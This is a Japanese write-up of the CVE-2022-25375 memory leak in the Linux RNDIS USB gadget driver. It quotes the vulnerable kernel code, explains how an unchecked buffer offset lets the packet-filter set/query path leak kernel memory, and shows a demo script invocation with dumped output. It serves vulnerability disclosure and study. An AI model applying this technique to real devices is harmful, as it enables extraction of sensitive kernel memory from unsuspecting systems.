
CVE-2022-25375 - RNDIS USB Gadgetのデモエクスプロイト
RNDIS USB Gadgetは、パケットフィルタ更新メカニズムを介してカーネルメモリ空間の内容をダンプするために悪用される可能性があります。
RNDIS_MSG_SET USB制御転送リクエストハンドラ - rndis_set_response は gen_ndis_set_resp を呼び出し、BufOffset + 8 だけオフセットされたバッファポインタを渡します。BufOffset変数はRNDISメッセージから取得され、バッファ境界を尊重するように検証されません。その結果、rndis_set_msg_type の4バイトの InformationBufferOffset メンバを操作することで、攻撃者は実際のバッファを最大0xffffffffバイト分オフセットすることができます。
rndis.c - rndis_msg_parser
case RNDIS_MSG_QUERY:
return rndis_query_response(params,
(rndis_query_msg_type *)buf);
case RNDIS_MSG_SET:
return rndis_set_response(params, (rndis_set_msg_type *)buf);
rndis.c - rndis_set_response
static int rndis_set_response(struct rndis_params *params,
rndis_set_msg_type *buf)
{
u32 BufLength, BufOffset;
rndis_set_cmplt_type *resp;
rndis_resp_t *r;
r = rndis_add_response(params, sizeof(rndis_set_cmplt_type));
if (!r)
return -ENOMEM;
resp = (rndis_set_cmplt_type *)r->buf;
BufLength = le32_to_cpu(buf->InformationBufferLength);
BufOffset = le32_to_cpu(buf->InformationBufferOffset);
#ifdef VERBOSE_DEBUG
pr_debug("%s: Length: %d\n", __func__, BufLength);
pr_debug("%s: Offset: %d\n", __func__, BufOffset);
pr_debug("%s: InfoBuffer: ", __func__);
for (i = 0; i < BufLength; i++) {
pr_debug("%02x ", *(((u8 *) buf) + i + 8 + BufOffset));
}
pr_debug("\n");
#endif
resp->MessageType = cpu_to_le32(RNDIS_MSG_SET_C);
resp->MessageLength = cpu_to_le32(16);
resp->RequestID = buf->RequestID; /* Still LE in msg buffer */
if (gen_ndis_set_resp(params, le32_to_cpu(buf->OID),
((u8 *)buf) + 8 + BufOffset, BufLength, r))
resp->Status = cpu_to_le32(RNDIS_STATUS_NOT_SUPPORTED);
else
resp->Status = cpu_to_le32(RNDIS_STATUS_SUCCESS);
params->resp_avail(params->v);
return 0;
}
次に、RNDIS_OID_GEN_CURRENT_PACKET_FILTER OIDを処理するコードは、bufポインタが指す値に現在のパケットフィルタを設定します。オフセットが適用されると、指定されたアドレスから2バイトを取得し、その値をパケットフィルタに格納することが可能になります。
rndis.c - gen_ndis_set_resp
switch (OID) {
case RNDIS_OID_GEN_CURRENT_PACKET_FILTER:
/* these NDIS_PACKET_TYPE_* bitflags are shared with
* cdc_filter; it's not RNDIS-specific
* NDIS_PACKET_TYPE_x == USB_CDC_PACKET_TYPE_x for x in:
* PROMISCUOUS, DIRECTED,
* MULTICAST, ALL_MULTICAST, BROADCAST
*/
*params->filter = (u16)get_unaligned_le32(buf);
pr_debug("%s: RNDIS_OID_GEN_CURRENT_PACKET_FILTER %08x\n",
__func__, *params->filter);
さらに、USB_CDC_SEND_ENCAPSULATED_COMMAND と RNDIS_MSG_QUERY を組み合わせて RNDIS_OID_GEN_CURRENT_PACKET_FILTER OID をクエリし、USB_CDC_GET_ENCAPSULATED_RESPONSE 制御転送リクエストを使用してパケットフィルタ値を取得します。
RNDISリクエスト内の InformationBufferOffset を増分しながらパケットフィルタの設定/取得を繰り返すことで、カーネル空間メモリの最大0xffffffffバイトを2バイトずつ抽出できます。大量のデータの場合、処理はかなり遅いですが、それでも効果的です。
$ sudo python3 rndisco.py -v 0x1b67 -p 0x400c -l 0x3fffc > /tmp/rpi_rndis.dmp
strings /tmp/rpi_rndis.dmp -n8 | tail -n 6
stp_proto_unregister
<30>Jan 27 14:39:48 dhcpcd[486]: usb0: IAID be:53:70:24
<30>Jan 27 14:39:46 dhcpcd[486]: usb0: IAID be:53:70:24
<30>Jan 27 14:39:46 dhcpcd[486]: usb0: adding address fe80::6f70:c737:89e:697a
<30>Jan 27 14:39:40 dhcpcd[486]: usb0: carrier lost
<30>Jan 27 14:39:48 dhcpcd[486]: usb0: adding address fe80::6f70:c737:89e:697a
USB RNDIS Gadgetを公開しているLinuxデバイスは、機密情報を抽出するために悪用される可能性があります。